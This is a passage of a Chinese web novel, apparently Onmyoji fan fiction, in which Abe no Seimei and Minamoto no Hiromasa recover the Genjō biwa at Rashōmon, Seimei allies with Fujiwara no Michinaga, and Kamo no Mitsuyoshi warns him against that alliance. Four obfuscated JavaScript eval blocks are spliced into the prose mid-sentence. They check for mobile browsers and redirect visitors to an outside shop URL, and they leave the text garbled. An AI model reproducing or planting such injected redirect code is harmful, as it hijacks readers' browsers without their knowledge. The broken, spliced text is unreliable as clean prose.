“这不是威胁,我从不威胁任何人。”藤原道长端起酒杯,手臂伸过半个桌子,探到晴明面前,笑道:“这是合作的诚意,我也很不喜欢卢屋道满的为人,更不希望我藤原家的荣光被人取代,所以——” “就从玄象琵琶开始,怎样?”藤原道长的笑容看起来极其爽朗,但只有晴明知道,这样的笑容背后,到底隐藏了一个怎样的人。 然而晴明别无选择。 他也同样端起酒杯,在藤原道长的酒杯上轻轻一碰。 藤原道长的笑容扩大了些,即使这个结果是他早已料想到的。他将那杯酒一饮而尽,道:“我相信你我会相处得很愉快的。” 晴明却没有饮酒,他把酒杯放回到桌面上,淡淡地说:“如果我找得回玄象琵琶,那么日后自有机会同您饮酒,不必急于这一时;若是我找不回玄象琵琶,那这杯酒自然也就不必再饮了。” 藤原道长抚掌大笑:“说得好!那我就摆酒设宴,等着晴明大人凯旋了。” “藤原大人言重。”晴明脸上又挂上了那副面具一般的假笑。 晴明又怎么会听不明白藤原道长先前话里的意思?他分明就是把玄象琵琶丢失这件事当作了投名状,用来测试晴明的能力,若是晴明能力不足,那么也就没有任何合作的价值了。 晴明站起身来,叹了口气。他一向最不喜欢落进权力争夺的漩涡之中,但是命运却偏要推着他前行。 “您知道该去哪里找了吗?”博雅连忙也跟着站起来。 “差不多有点头绪。”晴明应声道:“不过,恐怕要等到夜里才行,另外,还要麻烦博雅君陪我去一趟。” “夜里?莫非真的是鬼偷走了玄象琵琶?”藤原道长很感兴趣地问了一句。 “非人非鬼,多半是……”晴明话说到一半,忽然摇了摇头:“也不过是我的猜测而已,还有待验证。” “所以,博雅君要来吗?”晴明摸出了折扇:“很有可能会白跑一趟哦。” 57.罗生门 “晴明大人,请允许樱陪您一起去!”黄昏之时,樱跪坐在晴明面前。 “不必,我只是去找个琵琶而已,不会有什么危险的。”晴明叹了口气,摸出折扇来慢慢摇着。 “可是,您要去的那种地方……”樱却很坚持。 晴明抿了抿嘴唇,他很理解樱的心情,因为他即将要去的地方是罗生门。 那里曾在战乱时期被当作抛尸的乱葬岗,直至今日也常能听见厉鬼的哭号,向来被人认为是通往地狱的门。 从樱的角度看来,他不做任何准备就跑到罗生门那里去,确实是一件很危险的事情。 但是晴明怎么可能带上樱呢?戾桥这边绝不能陷入无人看守的状态,毕竟谁也不知道那些被封印在戾桥之下的恶鬼何时会冲破封印。 “好了,你不必担心,该做的准备我都一应备齐了。”晴明伸手揉了揉樱柔软的头发:“不会出什么问题的。” “那么樱就在这里恭候晴明大人归来。”樱缓缓跪伏于地,用最温婉的态度,说出了最不容置疑的话。 “……”晴明默默无言,转身走出了宅邸。 他一向是内敛的性子,很少表露情感,但这不代表他对善意一无所觉。 谢谢你还愿意陪着我。 谢谢你还不曾放弃我。 谢谢你还在担心着我。 但是这些话,当着樱的面,他是说不出口的。 晴明快步赶到了罗生门,这个时间段正是百鬼夜行最热闹的时候,无数鬼怪显露出了它们最真实的形貌,夜晚的平安京正是它们的盛世。 晴明不得不释放出自己的一部分妖力才得以避免妖鬼的纠缠,当然,他并没有让自己的狐耳和尾巴显露出来。 “晴、晴明!”妖鬼的喧闹声中,晴明敏锐地捕捉到了有人唤他名字的声音,他蓦然往声音发出的方向望去,但是除了奇形怪状的妖鬼之外,他并没有找到任何熟悉的人的身影。 “晴明!”忽然有什么人从背后握住了晴明的肩膀,紧接着,那人死死抱住了晴明。 “……”突如其来的亲密接触让晴明感到很不习惯,他动作多少有些僵硬地偏过头,意料之中地看到了一张靛青色的恶鬼面孔。 那张鬼面极尽狰狞,眼窝深陷,颧骨高耸,尖利的犬齿从嘴唇中间伸出,似乎随时都会咬开一个人的脖颈。 但晴明在这张鬼面之下看到了一双惊慌失措的眼睛。 “我说过了,这个时候来这里很危险。”晴明叹了口气,他察觉到背后的“鬼”正浑身打着颤,只得暂时打消了推开对方的打算。 “但、但是你也说过,我或许帮、帮得上忙。”从鬼面下传出的声音有些闷,还微微颤抖着,但毫无疑问是博雅的声音。 他似乎稍微冷静了一点,察觉到自己的狼狈,放开了晴明的肩膀,但手还死死抓着晴明的衣袖不放。 “谢谢你愿意帮忙。”晴明牵引着博雅,找了个鬼怪数目较少的角落站住,低声说:“不过,现在看来,即使有这张面具,也着实是太冒险了,我原本没有想到会出现这么多鬼怪的。” 白天在藤原家的时候,晴明与博雅约定好在罗生门碰面,而为了从妖鬼手中保护没有任何灵力傍身的博雅,晴明找来了一张恶鬼面具,用朱砂在面具背面画上了混淆用的符咒。只要博雅戴上面具,妖鬼就会把他认作同类而不发动攻击。 但是,常年习惯了与鬼怪打交道的晴明却忽略了非常重要的一点。 那就是普通人对于鬼怪的畏惧。 从来都没有什么“万全的准备”,任何一个环节都有可能出错,而任何一个错误对于博雅而言,都将是致命的。 晴明不由得后怕,如果博雅真的出了什么意外,那么他恐怕永远都不会原谅自己。 “也、也没什么嘛,我还是第一次见到这么多——啊!”博雅故意挺起胸膛装出一副勇敢的样子,可惜他被身后一只突然冒出来的鬼怪吓得惊叫出声,完全破坏掉了他所伪装出来的形象,他又缩回到了晴明身后。 “好了,放松一点。”晴明忍着笑,把博雅从自己身后拖出来:“你现在的样子,可比它们可怕得多了。” 玩笑开过之后,晴明很快恢复了冷淡,皱着眉望向不远处的罗生门,喃喃着:“该说不愧为地狱之门吗?这里的鬼怪,几乎都是从罗生门里涌现出来的,是曾经战乱中的亡魂吗?” “你认为玄象琵琶会在这里吗?是鬼偷了它?”博雅一边打着哆嗦一边问。 “我说过了,宫廷周围都有阴阳师设下的咒术,寻常妖鬼根本不可能混进去。”晴明转回头看了看博雅惨白的脸色,叹了口气,放弃了就这样直接走进罗生门的打算。 “那来这里……” “带走玄象琵琶的,非人非神非妖非鬼,它根本不是失窃。”晴明解释说:“还记得我曾说过,玄象琵琶会选择乐师吗?” 博雅的记忆力很好:“当然,你说玄象琵琶有三不鸣。” “没错,它会按照自己的意愿而行动,而这一次,我认为也是如此。”晴明摸出折扇展开摇了摇:“多半是来寻找奏响它的鬼吧。” “可是,为什么是去找那位公子而不是……” “你认为,在那场演奏中,占据主导地位的是谁?”晴明沉静地望着博雅。 “啊?这……”博雅一时被晴明问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978680|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住,但是仔细想起来,当时他似乎确实一直受控于鬼公子。 “乐以情动人。”晴明静静地说道:“这一点相信你比我更懂得,你们二者的演奏技艺或许不相上下,但是他的情感比你浓烈得多,所以玄象琵琶会更倾向于来寻找他而不是你。” “可是,只依靠‘寻常鬼怪无法进宫’这一点就能断定玄象琵琶不是失窃吗?”博雅想了想,又问:“为什么不可能是某个神通广大的鬼怪闯进来偷走玄象琵琶呢?” “这个嘛,”晴明微微一笑:“我相信我师兄的判断,他若是没有发现妖鬼闯入的痕迹,那就必然是没有。另外,大概你也听说过,几年前宫中失火的事吧?” 这件事博雅确实有些印象,虽然那时候他年纪还小,但这件事传得沸沸扬扬,所以他也有所耳闻。 那年宫中失火,所有人都忙着抢救天皇和妃子,没人顾得上去管玄象琵琶。当火焰扑灭之后,人人都以为玄象琵琶必定是被烧成了灰烬,然而让所有人都没有想到的是,玄象琵琶不知怎么自己出现在了庭院里,毫发无损。 “玄象琵琶有趋利避害之能,若是真有人恶意盗窃,想来它也能设法避开灾厄。”晴明摇着折扇:“所以,最合理的解释,就只能是它自行从宫中离开。” “原来是这样。”博雅点了点头,完全被晴明说服了,他又问:“那么,我们现在……”他也望向了不远处的罗生门。 “我想我们或许不需要走进去。”晴明看出了博雅的恐惧,主动宽慰道:“玄象琵琶不过是要寻找一个合适的主人,而如今能奏响它的鬼已经成佛,不在这世上了,而你正是另一个符合它要求的人。” “我要怎么做?”博雅郑重其事地看着晴明。 “我要你带上的笛子,你应该没有忘记吧?” 博雅从怀里取出了鬼笛叶二:“当然。” “那么,尝试一下吹奏吧。”晴明说道:“不过当然,我也不清楚这样做能否成功诱出玄象琵琶,毕竟我也从未见识过这种怪脾气的乐器。” “这……”博雅环顾四周,身边围绕着的鬼怪让他有些犹豫。 “别忘了我是个阴阳师。”晴明笑道:“我在这里,它们不敢对你做什么的。” 博雅将心一横,伸手把面具稍稍往上推了推,露出嘴唇,然后才把鬼笛举到唇边,吹奏起来。 晴明轻轻摇着折扇,同时释放出一部分属于九尾狐的妖力,轻而易举便镇住了附近的妖鬼,令它们不敢上前。 博雅自然不知道晴明做了什么,他见自己身边没有鬼怪便放下了心,索性阖眸专心吹奏鬼笛。 不知过了多久,终于,远远地传来了琵琶声。 58.合作 “铮——”琵琶的响声从不远处传来,不过那声音断断续续,连不成完整的曲调。 “是玄象琵琶!”博雅分辨出了音色,不由自主地停止了吹奏。 而与此同时,琵琶的声音也断了。 “别停,继续吹!” 博雅忙不迭地重新举起了鬼笛,随后,琵琶声也再度响起,似乎就是为了应和博雅的笛音一般。 晴明往琵琶声响起的方向走了几步,但顾及着博雅的安全,他并没有走太远。 现在只能寄希望于博雅对玄象琵琶的吸引力足够强了。 博雅正兀自吹得动情,忽然感觉到有什么人碰了他一下,他起初以为是晴明,并未加以理会,然而很快,近在咫尺的琵琶声唤醒了他。 博雅猛地睁开眼睛,眼前出现的景象令他不由自主地后退了半步。 玄象琵琶就在他面前,只要他一伸手便能摸到它。 但是,它漂浮在半空中,月光下反射出淡淡的荧光。而且,分明无人弹奏,琵琶弦却仍能发出响声。这种诡异的状况足以让任何一个普通人望而却步。 不过晴明显然不在这“普通人”之列,他一个箭步上前,伸手就要去抓玄象琵琶。 然而玄象琵琶比他更快,敏捷地避开了晴明,然后继续绕着博雅打转。 “或许它只允许你接触它。”晴明停下脚步,若有所思地说。 “……”博雅犹豫了一下,终究还是朝着玄象琵琶伸出了手。 这一次,玄象琵琶服服帖帖地躺在了博雅的手臂之间。 “咦?它真的……” 晴明长舒了一口气,说:“这样一来就算是结束了,好在是没有节外生枝。” “我们要把它送回去吗?”博雅低头看了看怀里的玄象琵琶,多少有些不忍地说:“回到宫中它又会被封进囊袋,不知道又要等多久才能重见天日……” “哦?”晴明原本转身要走,听了博雅的话又回过头来,微微一笑:“说得也是,这大概也就是玄象琵琶私自逃走的原因吧。” “那么博雅君,你打算怎么做呢?” 博雅抱着玄象琵琶,左右摇摆不定。 最后,博雅叹了一声,认命似的说:“如果不把这琵琶带回去,会给你造成困扰的吧。” “白日里道长同你说的那些话,我虽然不能完全听懂,但也差不多理解了他的意思。”博雅认真地注视着晴明的眼睛:“那个叫卢屋——我忘记他的名字了,那是你的敌人吧?如果这琵琶不带回去……” “我倒是没什么关系,因为无论如何,我都是要与卢屋道满分个高下的。”晴明淡淡地说:“至于那位藤原大人会如何,那不在我的考虑之列,阴阳师之间的争斗,普通人是帮不上忙的。” “那不一样。”博雅摇了摇头,说:“虽说我一向不喜欢政治,但毕竟曾经也处在权力争夺的中心,这些事情我还是多少明白一些的,如果按照道长所说,卢屋——那个人真的得到了陛下的支持,那么他的地位恐怕就很难被撼动了。” “你是在为藤原道长作说客吗?”晴明微微眯起了眼睛,审视着博雅。 但博雅的眼神很是真诚,不掺一丝虚假:“不是这样的,我所说的都是事实。而且,虽然道长是我的朋友,但我仍觉得他用那个人的事来逼迫你帮助他,这种做法是十分卑鄙的。” 博雅朝晴明深深鞠了一躬:“请允许我代替道长向你道歉。” “……”晴明合上了手中的折扇,静静地望着弯下腰久久不肯起来的博雅。 “你还真是一点也没变。”晴明轻叹一声,直到这时,晴明才把当年因朋友戏耍自己而特地追出来道歉的少年与现在眼前这个青年联系在了一起。 “什么?”博雅没听清楚晴明的话。 “没什么。”晴明扶起博雅,忽然露出了笑容:“我想,博雅君大概不必太担心了。” “什么意思?” “玄象琵琶能逃走一次,就必然能逃走第二次。”晴明笑道:“这样一来,博雅君是不是就会放心很多呢?” 次日,博雅带着玄象琵琶面见天皇。 这是藤原道长预先同他们商量好的,若是找回了玄象琵琶,就由博雅出面,把琵琶交还给天皇,晴明与藤原道长都不会露面。 寻找玄象琵琶这件事纯粹只是藤原道长为了测试晴明的能力而已,实际上他根本就没有把这样一点微末的功劳放在眼里。 而不准许晴明出面的原因,则是为了维持晴明表面上不协助任何权贵、不归属任何阵营的形象,若是他骤然在天皇面前活跃起来,天皇很难不怀疑他的用心。 更何况晴明与保宪还是师兄弟的关系,如果因为这个而让天皇警惕起来,那么事态就会不可避免地朝向更糟糕的方向发展。 寻回玄象琵琶之后,晴明又在藤原道长的宅院里与他见过几面,两人商定了合作的具体内容,晴明需要做的事情很简单,只需要时常替藤原家占卜吉凶、并且检查有没有人对藤原家下咒就可以了。 如今天皇猜忌藤原父子,而且朝野之中,政敌林立,任何人都有可能杀死藤原道长,他这样的担心并不是完全没有道理。 而相应地,藤原道长需要尽量为晴明和保宪提供庇护,并在卢屋道满回到平安京之后,继续为晴明提供帮助。 晴明原本还担心,像他那样频繁出入藤原道长的府邸,或许很快就会传到天皇耳中,但事实证明,藤原道长的势力比他想象得还要大得多,他与藤原道长合作的消息被封锁得很严密,根本没有一丝风声走漏出去。 不过,即使晴明与藤原道长有了长期合作的关系,晴明的态度依然懒散,一如往日。 但这也实在怪不得晴明,现在有保宪把持着阴阳道,余下的阴阳师又尽是些沽名钓誉之辈,言过其实者多,几乎没什么可担心的。 藤原道长自己也了解这一点,他之所以与晴明合作,也不过是预先防备不知什么时候会回到平安京的卢屋道满而已。 这段时间里,晴明和博雅倒是很快熟悉了起来,最直接的证据,就是晴明不再拒绝博雅的来访了。 或者也可以换成这样的说法:博雅是这十年里唯一一个不会被晴明吓走的人,而且或许与鬼公子和玄象琵琶有关,博雅对妖鬼之物格外地感兴趣。 虽然每次晴明同博雅谈起鬼怪的时候,博雅还是表现得很害怕就是了。 既害怕又希望自己可以更了解鬼怪,人类有时候就是这样矛盾的生物。 这天,博雅主动向晴明问起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986496|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咒术。 “哦?控制人心的咒术吗?”晴明把折扇抵在唇边,笑意似有似无:“这种东西啊,虽然听起来好像很可怕,但实际上它们也并不鲜见呢。” “欸?!”博雅一下子大惊失色:“晴明你也懂这种咒术吗?” “当然了。”晴明把手伸到了博雅面前,作势要结法印,笑道:“不过你忽然问这种事,是想让我对你下这种咒吗?” “晴……晴明!”博雅一退三尺远,躲在一根柱子后面,探出半张脸小心翼翼地看着晴明。 博雅的这种举动显然极大地取悦了晴明,逗弄博雅如今已成了他的一大乐趣。 而博雅也明白了过来,他不过是又受了晴明的愚弄,并不是要真的对他下什么咒术,便走回来,坐到了晴明身边。 晴明笑得够了,伸出折扇轻轻敲了敲博雅的肩膀:“好啦,我同你说说这咒术就是了。不过,在我看来,博雅君对这种咒术的理解大概不会亚于我呢。” 博雅连忙正襟危坐,一副认真聆听的样子。 “能够控制人心的咒术,就在这里呀。”晴明用折扇在博雅的心口处点了点,细长的眼眸里满是笑意。 “这里?哪里?”博雅懵住了,低头看了看自己的心口,完全没听懂晴明的意思。 “就是爱啊。”晴明这次没有故弄玄虚,笑得很是温柔:“父母之爱、友人之爱、男女之爱……都是可以控制人心的咒术啊。” “所谓的控制人心,无非就是让人们做出自己素日里不会去做的事。”晴明把目光投向了花繁似锦的庭院,继续说:“而爱,不就恰恰能令人们失去理智吗?” “你说这是咒术……”博雅困惑地挠了挠脑袋:“那这种咒术,听起来并不会造成什么不好的影响呀。” “你怎么知道它不会?”晴明懒懒地支起了下巴,声音有些闷闷的:“如果这种咒术不会变成恶咒的话,那么鬼怪又是从何而来呢?” “鬼怪……”博雅绞尽脑汁地回忆着:“你之前说过,鬼怪是来源于人……” “来源于人心。母亲对孩子偏执的爱,催生了偷盗婴孩的姑获鸟;而女人因爱而生的嫉妒之心,又催生了诅咒负心人的丑时之女……诸如此类。” “你看,最强大的咒术,从来都不掌握在阴阳师手里。”晴明展开折扇,遮住了自己上挑的唇角:“所以我才说,人类有趣得很呢。” “喂,晴明,不要这样说啦,总是‘人类’、‘人类’的。”博雅大声抗议道:“说得就好像你不是人类一样。” “不把我当作人类看的人比你想象的还要多呢。”晴明饶有兴致地偏过头去观察博雅的神情,好像忽然在他脸上发现了什么好玩的事物。 “好吧,既然你这样说,”晴明懒散地歪倒在榻榻米上,折扇轻轻在地面上敲了敲:“我以后不说这样的话就是了。” “不过话说回来,”晴明好似刚刚想到一般,又用手肘半支起身体问道:“为什么突然问这样的问题?” “实际上,是道长想问。”博雅承认道,他一向不擅长隐瞒任何事:“他正打算把女儿送给陛下作妃,所以想找一个能让女儿永远拥有圣宠的方法。” “……”晴明起初静默不语,忽然叹了一声:“作孽啊。” 59.式神 “呐,晴明!”源博雅大步走来,不小心撞到了晴明的侍女樱,正准备道歉的时候,却见那侍女化成了一张樱粉色的纸人,躺在他脚下。 “我说,你也该稍微小心一点。”安倍晴明兴味盎然地瞧着源博雅惊诧的神情,他最近常常用这种方式耍弄博雅,似乎很喜欢看博雅露出傻乎乎的表情。 “原来樱也是式神啊……”博雅拾起那个小纸人,拿在手里前后翻看着:“该不会是被我撞回原形的吧?” “当然不是了。”晴明展开纸扇掩去了唇角的笑意,顺手又在虚空中点了点,念了串谁也听不懂的咒语,那个粉色的小纸人挣脱了博雅的手,又化作了侍女模样,脸上永远没什么表情,向着又被吓了一跳的博雅弯腰行了个礼。 即使已经多次见识到了晴明阴阳术的神奇,但博雅还是没办法说服自己习以为常。 能够在纸人和活人之间自由切换的式神、四季如春的庭院、神乎其神的阴阳术……这一切太过匪夷所思了。 如果不是上一次他受人所托来求这位名满京都的大阴阳师——安倍晴明帮忙,也许他一辈子也不会和这样的事情有什么交集。 “像你这样盯着我的侍女看,我是会不高兴的哦。”晴明懒懒地斜倚窗边,手中折扇展开,遮住了半张脸,出言打断了博雅的思绪:“可惜这是阴阳术驭使的式神,不然的话,就算是把这侍女送到博雅君府上,我也不是不能割爱。” “这……我才没有……”博雅张口结舌,看了看神情冷淡的侍女,又看了看慵懒的晴明,这才明白这不过是晴明的又一个玩笑。 “就当作你没有偷偷爱上我的式神吧。”晴明放下折扇,笑得狡黠:“毕竟,接下来,博雅君大概会又看呆了呢。”言罢,他单手结了个法印,口中念念有词。 博雅起初只感受到了风,室内的温度似乎一下子降低了。 接着他意识到,并不只是风而已,而是无形的人飞快地在他身边来来去去。是他们,或者说,是“它们”,卷带起的风。 似乎还有女孩的莺歌笑语,声音动听至极,他却一点儿也听不懂那些话的内容。 不过须臾而已,房间里就摆上了桌案,酒菜俱全,而且刚好够两个人享用。 “有些妖怪确实具有勾魂夺魄的能力,博雅君。”晴明端起桌子上的酒杯,向呆立的源博雅遥遥致意:“所以没叫它们显现出形貌,我想你也可以理解的吧?” “你……你怎么知道?”怎么知道他今天来这里,并不是有事相求呢? 晴明但笑不语,狭长的丹凤眼微微眯着,眼角上挑,却毫无女性的魅惑之感,反而更显出了几分英气俊朗。 “还愣着做什么?我这一杯酒,可是还等着你呢。”晴明轻轻晃了晃酒杯,酒香倾泻,直勾得博雅酒虫上涌,此时他也顾不上什么阴阳术了,坐到晴明对面,端起酒杯一饮而尽。 “从第一次见到你,就料想到你必定是个很好的酒伴。”晴明轻声感叹着,也饮尽了杯中之物,然后又给自己和博雅的酒杯中续满了酒。 自从博雅上次在这里喝到了晴明的酒之后,他便对这酒的滋味恋恋不忘,而晴明显然也知道这一点。 “不过,晴明。”博雅四处张望,压低了声音问晴明:“刚才的那些……也是你的式神?它们还在这屋子里吗?” 晴明笑起来:“我的式神只有樱一个而已。”说着,他伸手摸了摸身边陪坐的樱的头发,而后者乖顺地垂下了头。 “那刚才你说——” “那些是妖怪,而非式神。”晴明端起酒杯笑道:“你似乎把这二者混为一谈了。” “式神是与我签订过契约的妖怪,而刚才那些,和我并没有契约上的联系,只不过是受到我灵力吸引,跑到我这里来寻求庇护的小妖怪而已。”晴明说到这里,目光稍微有些闪烁,然后才继续说下去:“因此,偶尔我也会叫它们为我做事,藉此来收取报酬。” “原来如此。”博雅喃喃着。 他不懂阴阳道,不明白晴明这话实际上是自相矛盾,妖鬼惧怕着身怀灵力的阴阳师,又怎么可能会受到灵力吸引。 真正吸引着妖怪们的,其实是晴明身上的妖气啊。 成功骗过了博雅,晴明的神色变轻松了很多,他微微眯起眼睛,歪着身子倚靠在桌子上,模样像极了一只慵懒的狐狸。 博雅忽然想起往日在平安京听说的无稽之谈,借着酒劲他竟当着晴明的面说了出来:“你知道现在京中的人都在说你些什么吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994556|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “略有耳闻。” “哈,真都是些胡说八道,”博雅也学着晴明的样子,歪靠在榻榻米上,猛灌了一口酒:“说什么:晴明的母亲是白狐幻化,所以大阴阳师晴明是半人半妖的怪物——这种话真笑死人了。” 这次晴明没笑,反而慢慢坐直了身体,骨节分明的手指轻轻敲着酒杯的杯沿:“如果我真的是呢?” “开什么玩笑,晴明?”博雅笑着笑着,忽然注意到晴明的脸色不对,连忙也坐了起来:“你……” 这会儿,已是月上中天,月光洒落在晴明脸上,越发衬得他肤白如雪,而唇红似血。 博雅不自觉地想起了故事里读到过的和画上见到过的,风华绝代的艳鬼,那些艳鬼无一不是以色侍人,搅动风波的红颜祸水。 可他面前的这个男人,只是默默地自己喝着酒,单薄的身形看起来颇有些寂寥。 博雅不明白,这种寂寥之感究竟是从何而来,明明他已经是那样强大的阴阳师了,会用那么多神奇的阴阳术,还有那些式神…… 对了,式神,它们都不是人吧? 说起来,他好像从来没在晴明的宅院里看到过人类? 那也就是说…… “既然这样,你也走吧。”晴明放下酒杯,轻轻叹了口气,示意自己的侍女送客:“别再来了。” 忽然之间,博雅明白了晴明。 “我不知道那些传言是不是真的,”博雅站起身来,郑重其事地大声道:“但是,晴明,那又怎么样呢?就算你真的是‘白狐公子’,我也决不相信你会像他们说的那样,变成一个妖怪!” 晴明挑了挑眉毛,显然很是意外,他仰起头与博雅对视,似乎是想确认博雅这话是否是出于真心。随后,晴明才又笑了,一边笑,一边重新给自己斟满了酒:“博雅君,你还真是个很有趣的人,我为我刚才的言行向你道歉,请再坐下来吧。” “有趣……吗?”博雅被晴明笑得有点摸不着头脑,但还是依照晴明的话,重新坐回到了刚才的位置上。 “多谢你了,博雅君。”晴明轻声说,转过头去望了望天边那轮明月。 “不过,这样的话,以后还是少说为妙。”晴明微微一笑:“毕竟语言啊,同样也是一种咒呢。” 60.劝诫 “父亲大人说,希望您解除与藤原大人的合作关系。”六七岁模样的孩子规规矩矩地跪坐着,说出了上面的那些话。 贺茂光荣——贺茂保宪的长子,现正跟随着父亲学习阴阳术。 也不知师兄是怎么教的,怎么就把孩子养成了这副老成样子。晴明难得正襟危坐,一边摇着折扇,一边自我消遣般地想着。 小辈坐得端正,晴明这个长辈自然不好意思歪靠着,只得陪着端坐,对于习惯了随性恣意的晴明而言,这种坐姿显然很不舒服。 不过,保宪年少时倒也总是这副姿态,该说有其父必有其子吗? 晴明中断了胡思乱想,重新把注意力转移回贺茂光荣的话上。 平心而论,若是其他人对晴明这样说,那晴明多半会怀疑那人的用心,但是说这话的是保宪,晴明就不得不重新审视他与藤原道长的合作关系了。 保宪不是那种疑心重的人,他这样说,绝不会是因为害怕晴明威胁到他的地位。 更何况晴明目前仍居于暗处,平日里很少抛头露面,更不可能成为保宪所需要担心的目标。 “中断合作?”晴明慢悠悠摇着折扇,这会儿樱送来了一盘乳酪,放在贺茂光荣手边,随后便行礼离开了。 樱走开之后,晴明才继续说道:“总要给我一个理由吧?我师兄是怎么说的?” “父亲大人说,藤原氏的野心远远出乎您的想象,您与他们合作无异于与虎谋皮,必要的时候,他们一定会毫不犹豫地舍弃您的。”贺茂光荣一板一眼地说着。 保宪倒是看得透彻。这一点出乎了晴明的意料,他原以为师兄身在局中、执迷不悟呢。 那么以此看来,保宪会协助藤原家做事,大概也是无奈而为之。 从保宪帮助藤原兼家欺骗上任天皇时起,他就不得不与藤原家绑在了一起,一损皆损,但一荣未必皆荣。 政客和商人倒是有些相似,他们只计算利益得失,而人情则是必须要舍弃的东西。 所以保宪在得知晴明也开始与藤原道长合作之后,就立即派贺茂光荣来警告晴明,趁着还未陷得太深,尽早退步抽身才是正理。 至于保宪为什么会知道藤原道长刻意隐瞒的合作的事,这理由也就不难猜想了,会泄密的只有知道内情的晴明、博雅和藤原道长三个人,前二者自然不可能对保宪多说什么,那唯一的可能性就只剩下藤原道长了。 而藤原道长这样做的用意…… 大概是利用晴明来警告保宪不要生出异心吧。 利用晴明和保宪之间的情谊,完全可以同时令这两个人不敢轻易转投其他阵营。藤原道长这一手倒是耍得漂亮。 贺茂光荣见晴明久久不语,脸上终于显出了孩子该有的稚气,焦急道:“晴明大人,您……” “很遗憾,孩子。”晴明探身去贺茂光荣手边那盘完全没被动过的乳酪中摸出一块,塞进口中,含混不清地说:“我是不会退出的,我有自己的理由。” “可是,您并不是那种会追求权力的人不是吗?”贺茂光荣不解地问:“那样的话,合作对您会有什么好处呢?” 听了贺茂光荣这话,晴明便知道藤原道长至少遵守了他们之间的承诺,那就是:绝不能让保宪知道卢屋道满可能会返回平安京的消息。 保宪对卢屋道满的仇恨不亚于晴明,这些年因为卢屋道满外逃,保宪才没追究卢屋道满杀死他父亲的事。但若是叫保宪知道卢屋道满回来,到时候连晴明也不知道保宪会做出什么事来。 背负仇恨的人有晴明一个人就够了,他知道那种滋味,也早就习惯了。因此,没有必要再让保宪经受这些。 晴明这些年戴着张微笑的假面,有时候连他自己都忘了,他到底有多想手刃卢屋道满这个仇人。 晴明看着迷惑不解的贺茂光荣,笑了起来:“这可不像是师兄会说出来的话,你怎么知道我不喜欢权力呢?”说着,他故意凑近贺茂光荣,摆出一副威胁的架势:“万一我就是那种会为了权力不惜牺牲一切的人呢?” 贺茂光荣迎着晴明的目光,不闪不避:“您是‘白狐公子’,如果想要权力的话,应该毫不费力就能拿到手了吧?又何必住在这种偏僻的地方,与妖鬼为伴呢?” “白狐公子”这个名字一提,晴明的脸便迅速垮了下来,他兴味索然地退了回去,也懒得再维系端庄的坐姿,稍稍佝偻着背,手臂撑在膝上,语气有些冷淡:“师兄告诉你的?” “不,这种事,只要看一看就知道了吧。”贺茂光荣摇了摇头:“这里所寄宿的妖鬼、还有您身上的妖气,虽然很微弱,而且被您的灵力遮挡住了,但是只要集中精神,也并不是很难分辨出来。” “哦?”要知道,从晴明拜入贺茂忠行门下的那天起,他练习最多的就是收敛隐藏自己的妖气,在这方面,他有绝对的自信。 即使晴明现在处于松懈的状态,不自觉流露出了一丝妖气,那也绝不是一个庸碌的阴阳师所能轻易察觉到的。 然而,现在他面前的这个孩子却轻易做到了许多阴阳师都做不到的事。 这或许只能归功于天赋了。 晴明忽然记起了他一直受之有愧的那个东西。 或许可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020452|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借由这孩子的手,把“那东西”还给保宪。 想到这儿,晴明微微一笑,重新坐直了身体,故意做出一副高深莫测的样子,压低声音问贺茂光荣:“你现在是在跟随我师兄学习?” 贺茂光荣还沉浸在未能劝服晴明的苦恼中,被晴明的问得一愣,忙老老实实地回答说:“正是,我师承大阴阳师贺茂保宪。” “那么,有一样东西,是我师兄所没办法教给你的。”晴明手中的折扇轻轻敲着自己的肩膀,笑道:“你大概也听说过观星测位吧?” “当然!”贺茂光荣的眼睛一下子就亮了,这个时候的他就像是小孩子终于得到了期待已久的玩具:“我听父亲大人提过,他一向不擅长观星,而精通观星测位的是……” “正是我。”晴明不谦虚地笑了起来,接着问:“怎样,要学吗?” 